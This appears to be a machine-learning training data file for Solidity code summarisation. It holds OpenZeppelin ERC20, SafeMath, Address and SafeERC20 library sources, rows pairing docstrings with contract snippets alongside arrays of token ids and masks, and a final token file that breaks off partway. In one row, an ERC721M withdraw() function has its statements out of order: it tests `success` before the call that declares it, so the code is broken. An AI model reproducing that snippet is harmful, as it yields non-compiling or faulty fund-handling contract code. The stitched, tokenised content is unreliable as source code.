* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
// solhint-disable-next-line compiler-version
pragma solidity >=0.4.24 <0.8.0;
import "../utils/Address.sol";
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function _isConstructor() private view returns (bool) {
return !Address.isContract(address(this));
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
| @dev Accrue interests in a pool | modifier accrue(address token) {
accrueInterest(token);
_;
}
| 1,495,860 | [
1,
8973,
86,
344,
16513,
87,
316,
279,
2845,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
9606,
4078,
86,
344,
12,
2867,
1147,
13,
288,
203,
3639,
4078,
86,
344,
29281,
12,
2316,
1769,
203,
3639,
389,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/137/0x86c18085B8949FF3DC53eC5c3a3a143CCFbC960a/sources/contracts/Mad_Honey/ERC721M.sol | * @dev Withdraws funds by owner./ | function withdraw() external onlyOwner {
uint256 value = address(this).balance;
if (!success) revert WithdrawFailed();
emit Withdraw(value);
(bool success, ) = msg.sender.call{value: value}("");
}
| 4,678,074 | [
1,
1190,
9446,
87,
284,
19156,
635,
3410,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
598,
9446,
1435,
3903,
1338,
5541,
288,
203,
3639,
2254,
5034,
460,
273,
1758,
12,
2211,
2934,
12296,
31,
203,
3639,
309,
16051,
4768,
13,
15226,
3423,
9446,
2925,
5621,
203,
3639,
3626,
3423,
9446,
12,
1132,
1769,
203,
3639,
261,
6430,
2216,
16,
262,
273,
1234,
18,
15330,
18,
1991,
95,
1132,
30,
460,
97,
2932,
8863,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x0abf9B8c025e1D5a33de497118E8651aa1ea8989/sources/cache/solpp-generated-contracts/lib/ERC721.sol | @notice Transfers the ownership of an NFT from one address to another address @dev Throws unless `_msgSender()` is the current owner, an authorized operator, or the approved address for this NFT. Throws if `from` is not the current owner. Throws if `to` is the zero address. Throws if `tokenId` is not a valid NFT. When transfer is complete, this function checks if `to` is a smart contract (code size > 0). If so, it calls `onERC721Received` on `to` and throws if the return value is not `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`. @param from The current owner of the NFT @param to The new owner @param tokenId The NFT to transfer @param data Additional data with no specified format, sent in call to `to` | function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external canTransfer(tokenId) validNFToken(tokenId) {
_safeTransferFrom(from, to, tokenId, data);
}
| 9,711,717 | [
1,
1429,
18881,
326,
23178,
434,
392,
423,
4464,
628,
1245,
1758,
358,
4042,
1758,
225,
22435,
3308,
1375,
67,
3576,
12021,
20338,
353,
326,
783,
3410,
16,
392,
10799,
225,
3726,
16,
578,
326,
20412,
1758,
364,
333,
423,
4464,
18,
22435,
309,
1375,
2080,
68,
353,
225,
486,
326,
783,
3410,
18,
22435,
309,
1375,
869,
68,
353,
326,
3634,
1758,
18,
22435,
309,
225,
1375,
2316,
548,
68,
353,
486,
279,
923,
423,
4464,
18,
5203,
7412,
353,
3912,
16,
333,
445,
225,
4271,
309,
1375,
869,
68,
353,
279,
13706,
6835,
261,
710,
963,
405,
374,
2934,
971,
1427,
16,
518,
4097,
225,
1375,
265,
654,
39,
27,
5340,
8872,
68,
603,
1375,
869,
68,
471,
1216,
309,
326,
327,
460,
353,
486,
225,
1375,
3890,
24,
12,
79,
24410,
581,
5034,
2932,
265,
654,
39,
27,
5340,
8872,
12,
2867,
16,
2867,
16,
11890,
2
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] | [
1,
225,
445,
4183,
5912,
1265,
12,
2867,
628,
16,
1758,
358,
16,
2254,
5034,
1147,
548,
16,
1731,
745,
892,
501,
13,
3903,
848,
5912,
12,
2316,
548,
13,
923,
26473,
1345,
12,
2316,
548,
13,
288,
203,
565,
389,
4626,
5912,
1265,
12,
2080,
16,
358,
16,
1147,
548,
16,
501,
1769,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
abstract contract IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() virtual public view returns (uint);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address tokenOwner) virtual public view returns (uint balance);
/**
